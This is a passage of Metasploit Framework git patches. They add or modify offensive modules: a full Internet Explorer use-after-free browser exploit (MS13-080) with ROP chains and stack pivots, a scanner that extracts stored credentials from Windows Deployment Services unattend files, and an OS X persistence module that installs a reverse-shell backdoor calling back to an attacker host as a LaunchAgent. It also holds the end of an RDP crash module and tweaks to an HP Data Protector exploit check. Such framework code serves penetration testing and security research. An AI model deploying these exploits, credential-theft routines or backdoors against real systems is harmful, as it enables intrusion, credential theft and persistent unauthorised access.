Service Unreachable") + return + end + + connect + print_status("#{rhost}:#{rport} - Sending #{self.name}") + sock.put(pkt) + Rex.sleep(3) + disconnect + print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") + + print_status("#{rhost}:#{rport} - Checking RDP status...") + + if is_rdp_up + print_error("#{rhost}:#{rport} - RDP Service Unreachable") + return + else + print_good("#{rhost}:#{rport} seems down") + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully crashed the target system via RDP" + }) + end + + end + +end From d929bdfaabb712856d20ea73096e717b19970aa9 Mon Sep 17 00:00:00 2001 From: Joe Barrett Date: Sat, 12 Oct 2013 08:09:19 -0400 Subject: [PATCH 139/409] Re-fixing 8419, consistency is important. --- modules/exploits/linux/proxy/squid_ntlm_authenticate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index a06a1dbeea..67fbd95a9e 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'PrependEncoder' => "\x83\xec\x7f", }, - 'Platform' => 'linux', + 'Platform' => %w{ linux }, 'Targets' => [ [ 'Linux Bruteforce', From cad717a186aa57866ea2ffcc851b157f9576d652 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 12 Oct 2013 18:52:45 +0100 Subject: [PATCH 140/409] Use NDR 32bit syntax. Compatible with both x86 and x64 systems. Tidy up the module... --- lib/rex/proto/dcerpc/wdscp/packet.rb | 20 +++++-- .../dcerpc/windows_deployment_services.rb | 57 ++++++++++--------- 2 files changed, 44 insertions(+), 33 deletions(-) diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb index f674e059ff..0bd6f6bded 100644 --- a/lib/rex/proto/dcerpc/wdscp/packet.rb +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -19,11 +19,19 @@ class Packet def add_var(name, type_mod=0, value_length=nil, array_size=0, value) padding = 0 - value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + vt = WDS_CONST::VAR_TYPE_LOOKUP[name] + value_type = WDS_CONST::BASE_TYPE[vt] name = Rex::Text.to_unicode(name).unpack('H*')[0] - value_length ||= value.length + # Terminate strings with null char + if vt == :STRING + value << "\x00" + elsif vt == :WSTRING + value = Rex::Text.to_unicode(value) + value << "\x00\x00" + end + value_length ||= value.length # Variable block total size should be evenly divisible by 16. len = 16 * (1 + (value_length/16)) @variables << @@ -51,7 +59,7 @@ class Packet # These bytes are not part of the spec but are not part of DCERPC according to Wireshark # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... - packet << Rex::Text.pack_int64le(packet_size+40)*2 + packet << [(packet_size+40)].pack('V') * 2 packet << create_endpoint_header(packet_size) packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) packet.concat(@variables) @@ -60,7 +68,8 @@ class Packet end def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) - return [ packet_size, # PacketSize + return [ + packet_size, # PacketSize 256, # Version packet_type, # Packet_Type 0, # Padding @@ -70,7 +79,8 @@ class Packet end def create_endpoint_header(packet_size) - return [ 40, # Header_Size + return [ + 40, # Header_Size 256, # Version packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... WDS_CONST::OS_DEPLOYMENT_GUID, # GUID diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index a7eb9b6782..564fdef46d 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response DCERPCUUID = Rex::Proto::DCERPC::UUID - WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants def initialize(info = {}) super(update_info(info, @@ -28,11 +28,10 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2, 64-bit. + Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, 'Author' => [ 'Ben Campbell ' ], 'License' => MSF_LICENSE, - 'Version' => '', 'References' => [ [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], @@ -65,12 +64,15 @@ class Metasploit3 < Msf::Auxiliary def query_host(rhost) # Create a handler with our UUID and Transfer Syntax + ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860' + version = 2 + self.handle = Rex::Proto::DCERPC::Handle.new( [ WDS_CONST::WDSCP_RPC_UUID, '1.0', - '71710533-beba-4937-8319-b5dbef9ccc36', - 1 + ndr86, + version, ], 'ncacn_ip_tcp', rhost, @@ -108,8 +110,7 @@ class Metasploit3 < Msf::Auxiliary result = request_client_unattend(architecture) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) - print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return + fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") end unless result.nil? @@ -143,20 +144,20 @@ class Metasploit3 < Msf::Auxiliary def request_client_unattend(architecture) # Construct WDS Control Protocol Message packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + + guid = '11223344556677578058C2C04F503931' + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) + + # Not sure what this padding is for... + mac = [0x30].pack('C') * 20 + mac << "000c29e0bab8" + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, - "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ - "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ - "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ - "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ - "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + + version = [1].pack('V') + packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) + wdsc_packet = packet.create print_status("Sending #{architecture[0]} Client Unattend request ...") @@ -167,7 +168,8 @@ class Metasploit3 < Msf::Auxiliary data = dcerpc.last_response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - op_error_code = data.unpack('i*')[18] + #puts data.unpack('v*').inspect + op_error_code = data.unpack('v*')[19] if op_error_code == 0 if data.length < 277 vprint_error("No Unattend received for #{architecture[0]} architecture") @@ -192,13 +194,12 @@ class Metasploit3 < Msf::Auxiliary def parse_client_unattend(data) begin xml = REXML::Document.new(data) - - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - end - - return Rex::Parser::Unattend.parse(xml).flatten + return Rex::Parser::Unattend.parse(xml).flatten + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + return nil + end end def loot_unattend(archi, data) From 79c612cd67142f100a40471e53a4ed564a70948e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 12 Oct 2013 13:01:17 -0500 Subject: [PATCH 141/409] Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to setup for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. --- .../browser/ms13_080_cdisplaypointer.rb | 308 ++++++++++++++++++ 1 file changed, 308 insertions(+) create mode 100644 modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb new file mode 100644 index 0000000000..06966c4ced --- /dev/null +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -0,0 +1,308 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", + 'Description' => %q{ + This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally + found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, + around the same time frame as CVE-2013-3893, except this was kept out of the public eye by + multiple research companies and the vendor until the October patch release. + + This issue is a use-after-free vulnerability in CDisplayPointer via the use of a + "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft + the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. + If we use a select() function for the CTextArea element, two important things will happen: + a CDisplayPointer object will be created for CTextArea, and it will also trigger another + event called "onselect". The "onselect" event will allow us to setup for the actual event + handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child + of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger + "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer + object can be forced by using an "Unslect" (other approaches also apply), but a reference + of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after + the CDoc::GetLineInfo call, because it is still trying to use that to update + CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash + finally occurs due to accessing the freed memory. By controling this freed memory, it is + possible to achieve arbitrary code execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Exploit in the wild + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2013-3897' ], + [ 'OSVDB', '98207' ], + [ 'MSB', 'MS13-080' ], + [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], + [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', {} ], + [ 'IE 8 on Windows 7', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + # Jsunpack first received a sample to analyze on Sep 12 2013. + # MSFT patched this on Oct 8th. + 'DisclosureDate' => "Oct 08 2013", + 'DefaultTarget' => 0)) + end + + def get_check_html + %Q| + + + | + end + + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end + + def get_payload(target_info) + rop_payload = '' + + case target_info[:dll] + when 'office2007' + pivot = + [ + 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 + junk, # ESI due to POPAD + junk, # EBP due to POPAD + junk, + junk, # EBX due to POPAD + junk, # EDX due to POPAD + junk, # ECX due to POPAD + 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) + 0x51bd81db, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) + + when 'office2010' + pivot = + [ + 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 + junk, + junk, + junk, + junk, + junk, + 0x51BE7E9A, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) + + when 'default' + if target_info[:os] =~ /windows xp/i + # XP uses msvcrt.dll + pivot = + [ + 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret + ].pack("V*") + + rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) + else + # Assuming this is Win 7, and we'll use Java 6 ROP + pivot = + [ + 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn + junk # Padding for the POP ECX + ].pack("V*") + + rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) + end + end + + rop_payload + end + + def get_sploit_html(cli, target_info) + os = target_info[:os] + dll = target_info[:dll] + js_payload = '' + + if os =~ /Windows (7|XP) MSIE 8\.0/ + print_status("Target uses #{os} with #{dll} DLL... engaging.") + js_payload = Rex::Text.to_unescape(get_payload(target_info)) + else + print_error("Target uses #{os} with #{dll} DLL... not supported by this attack.") + return "" + end + + %Q| + + + + + + + | + end + + + def on_request_uri(cli, request) + if request.uri =~ /search\?o=(.+)\&d=(.+)$/ + target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } + sploit = get_sploit_html(cli, target_info) + send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + return + end + + html = get_check_html + print_status("Checking out target...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end + +end + + +=begin + ++hpa this for debugging or you might not see a crash at all :-) + +0:005> r +eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c +eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +mshtml!QIClassID+0x30: +6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=???????? +0:005> u +mshtml!QIClassID+0x30: +6d6dc123 8b03 mov eax,dword ptr [ebx] +6d6dc125 8365e800 and dword ptr [ebp-18h],0 +6d6dc129 8d4de8 lea ecx,[ebp-18h] +6d6dc12c 51 push ecx +6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170) +6d6dc132 53 push ebx +6d6dc133 bf02400080 mov edi,80004002h +6d6dc138 ff10 call dword ptr [eax] + +=end From b139757021b5a12ffcacd950d2fd904fccceeb3d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 12 Oct 2013 13:24:36 -0500 Subject: [PATCH 142/409] Correct a typo in description --- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 06966c4ced..14ac6b5c34 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash - finally occurs due to accessing the freed memory. By controling this freed memory, it is + finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, From 765b55182e69dfd7059b06ff7e7318579386023c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 12 Oct 2013 19:52:15 +0100 Subject: [PATCH 143/409] Randomize client variables Also tidyup indents and use predefined UUID syntax. --- .../dcerpc/windows_deployment_services.rb | 69 +++++++++---------- 1 file changed, 34 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 564fdef46d..bdd9798030 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', 'Description' => %q{ - This module retrieves the client unattend file from Windows - Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2 x64 and Windows 2003 x86. + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, 'Author' => [ 'Ben Campbell ' ], 'License' => MSF_LICENSE, @@ -53,26 +53,24 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - begin - query_host(ip) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") - end + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end end def query_host(rhost) # Create a handler with our UUID and Transfer Syntax - ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860' - version = 2 + ndr86 = DCERPCUUID.xfer_syntax_uuid + version = DCERPCUUID.xfer_syntax_vers self.handle = Rex::Proto::DCERPC::Handle.new( [ WDS_CONST::WDSCP_RPC_UUID, '1.0', - ndr86, - version, ], 'ncacn_ip_tcp', rhost, @@ -85,11 +83,11 @@ class Metasploit3 < Msf::Auxiliary print_good("Bound to #{handle}") report_service( - :host => rhost, - :port => datastore['RPORT'], - :proto => 'tcp', - :name => "dcerpc", - :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" ) table = Rex::Ui::Text::Table.new({ @@ -110,7 +108,8 @@ class Metasploit3 < Msf::Auxiliary result = request_client_unattend(architecture) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) - fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return end unless result.nil? @@ -145,15 +144,16 @@ class Metasploit3 < Msf::Auxiliary # Construct WDS Control Protocol Message packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) - guid = '11223344556677578058C2C04F503931' + guid = Rex::Text.rand_text_hex(32) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) # Not sure what this padding is for... mac = [0x30].pack('C') * 20 - mac << "000c29e0bab8" + mac << Rex::Text.rand_text_hex(12) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) - packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + arch = [architecture[1]].pack('C') + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch) version = [1].pack('V') packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) @@ -168,7 +168,6 @@ class Metasploit3 < Msf::Auxiliary data = dcerpc.last_response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - #puts data.unpack('v*').inspect op_error_code = data.unpack('v*')[19] if op_error_code == 0 if data.length < 277 @@ -203,20 +202,20 @@ class Metasploit3 < Msf::Auxiliary end def loot_unattend(archi, data) - return if data.empty? - p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") - print_status("Raw version of #{archi} saved as: #{p}") + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") end def report_creds(domain, user, pass) report_auth_info( - :host => rhost, - :port => 4050, - :sname => 'dcerpc', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) end end From 988ac68074a1fe66bc834faf42057139703bf256 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 12 Oct 2013 19:56:52 +0100 Subject: [PATCH 144/409] Dont define the NDR syntax --- modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index bdd9798030..b8dd2d76a6 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -64,8 +64,6 @@ class Metasploit3 < Msf::Auxiliary def query_host(rhost) # Create a handler with our UUID and Transfer Syntax - ndr86 = DCERPCUUID.xfer_syntax_uuid - version = DCERPCUUID.xfer_syntax_vers self.handle = Rex::Proto::DCERPC::Handle.new( [ From f94b73a58048ea4ce5fc6c1c392b245b08f0b89f Mon Sep 17 00:00:00 2001 From: Icewall Date: Wed, 7 Aug 2013 17:19:43 +0200 Subject: [PATCH 145/409] Adding persistence module for OSX --- modules/post/osx/manage/persistence.rb | 150 +++++++++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 modules/post/osx/manage/persistence.rb diff --git a/modules/post/osx/manage/persistence.rb b/modules/post/osx/manage/persistence.rb new file mode 100644 index 0000000000..e80fd8ec8b --- /dev/null +++ b/modules/post/osx/manage/persistence.rb @@ -0,0 +1,150 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + def initialize(info={}) + super( update_info( info, + 'Name' => 'Mac OS X Persistent Payload Installer', + 'Description' => %q{ + This module provides persistence boot payload via creating proper entry (plist) in LaunchAgents directory for current user. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Marcin \'Icewall\' Noga < marcin[at]icewall.pl >'], + 'Version' => '', + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ 'shell' ] + )) + + register_options( + [ + OptAddress.new('LHOST', [true, 'IP for persistent payload to connect to.']), + OptInt.new('LPORT', [true, 'Port for persistent payload to connect to.']), + OptString.new('PAYLOAD', [true, 'Selected payload','osx/x86/shell_reverse_tcp']), + OptString.new('BACKDOOR_FILE_NAME', [false, 'Backdoor file name. If not set, random name is generated.']), + OptString.new('BACKDOOR_DIR_NAME', [false, 'Name of backdoor directory. If not set, random name is generated.']), + OptString.new('BACKDOOR_TO_UPLOAD', [false, 'Path to backdoor ready to upload instead of generating payload.']), + ], self.class) + end + + def run + + lhost = datastore['LHOST'] + lport = datastore['LPORT'] + payload = datastore['PAYLOAD'] + + if datastore['BACKDOOR_TO_UPLOAD'].nil? or datastore['BACKDOOR_TO_UPLOAD'].empty? + # Generate backdoor with selected payload + backdoor_content = generate_backdoor(payload, lhost, lport) + else + print_status("Reading backdoor to upload") + backdoor_content = ::IO.read(datastore['BACKDOOR_TO_UPLOAD']) + end + + # Store backdoor on target machine + backdoor_path = write_backdoor(backdoor_content) + + # Add file to LaunchAgents dir + add_launchctl_item(backdoor_path) + end + + def generate_backdoor(name, lhost, lport, opts = "") + print_status("Generating payload : #{name}") + payload = session.framework.payloads.create(name) + payload.datastore['LHOST'] = lhost + payload.datastore['LPORT'] = lport + # Validate the options for the module + payload.options.validate(payload.datastore) + # Grab necessary info about payload + arch = payload.arch + plat = payload.platform.platforms + raw = payload.generate + # Create executable file + print_status("Generating executable file") + backdoor_content = ::Msf::Util::EXE.to_executable(session.framework,arch,plat,raw) + + if(!backdoor_content and plat.index(Msf::Module::Platform::Java)) + backdoor_content = payload.generate_jar.pack + end + + return backdoor_content + end + + def write_backdoor(backdoor_content) + backdoor_file_name = datastore['BACKDOOR_FILE_NAME'] + backdoor_dir_name = datastore['BACKDOOR_DIR_NAME'] + + # get user name + user = cmd_exec("whoami") + # generate dir name if needed + if backdoor_dir_name.nil? or backdoor_dir_name.empty? + backdoor_dir_name = Rex::Text.rand_text_alpha((rand(8)+6)) + end + #generate file name if needed + if backdoor_file_name.nil? or backdoor_file_name.empty? + backdoor_file_name = Rex::Text.rand_text_alpha((rand(8)+6)) + end + + tmp_dir = "/Users/%s/Library/%s" % [user,backdoor_dir_name] + #create dir + cmd_exec("mkdir -p",tmp_dir) + + backdoor_path = tmp_dir + "/" + backdoor_file_name + #TODO if a backdoor is a java/meterpreter version, add proper bash script for the execution or modify plist template + if write_file(backdoor_path,backdoor_content) + print_good("Backdoor stored to #{backdoor_path}") + #set +x + cmd_exec("chmod +x #{backdoor_path}") + else + print_error("Error during dropping backdoor") + end + return backdoor_path + end + + def add_launchctl_item(path) + # get user name + user = cmd_exec("whoami") + label = File.basename(path) + plist_file = label + ".plist" + plist_path = "/Users/" + user + "/Library/LaunchAgents/" + #create dir..just to be sure + cmd_exec("mkdir",plist_path) + plist_path = plist_path + plist_file + item = <<-EOI + + + + + Label + #{label} + Program + #{path} + ProgramArguments + + #{path} + + RunAtLoad + + + + EOI + if write_file(plist_path,item) + print_good("LaunchAgent added: #{plist_file}") + else + print_error("Error during adding LaunchAgent item") + end + + end + +end \ No newline at end of file From 4fe407d7ee98ec9888c7cf102ad8455a507fffee Mon Sep 17 00:00:00 2001 From: joev Date: Sat, 12 Oct 2013 16:08:22 -0500 Subject: [PATCH 146/409] Move osx persistence to a local exploit. --- modules/{post/osx/manage => exploits/osx/local}/persistence.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/{post/osx/manage => exploits/osx/local}/persistence.rb (100%) diff --git a/modules/post/osx/manage/persistence.rb b/modules/exploits/osx/local/persistence.rb similarity index 100% rename from modules/post/osx/manage/persistence.rb rename to modules/exploits/osx/local/persistence.rb From 172c6b9b8f7b2f79bf28800a7246a816bfb664fe Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 12 Oct 2013 16:15:10 -0500 Subject: [PATCH 147/409] Escape dots on regexs --- .../windows/misc/hp_dataprotector_crs.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 53348ce4ee..d63c006d6f 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -153,17 +153,17 @@ class Metasploit3 < Msf::Exploit::Remote print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}") end - if fingerprint =~ /HP Data Protector A.06.20: INET, internal build 370/ + if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ return Exploit::CheckCode::Vulnerable - elsif fingerprint =~ /HP Data Protector A.07.00: INET, internal build 72/ + elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ return Exploit::CheckCode::Vulnerable - elsif fingerprint =~ /HP Data Protector A.07.00/ + elsif fingerprint =~ /HP Data Protector A\.07\.00/ return Exploit::CheckCode::Appears - elsif fingerprint =~ /HP Data Protector A.07.01/ + elsif fingerprint =~ /HP Data Protector A\.07\.01/ return Exploit::CheckCode::Appears - elsif fingerprint =~ /HP Data Protector A.06.20/ + elsif fingerprint =~ /HP Data Protector A\.06\.20/ return Exploit::CheckCode::Appears - elsif fingerprint =~ /HP Data 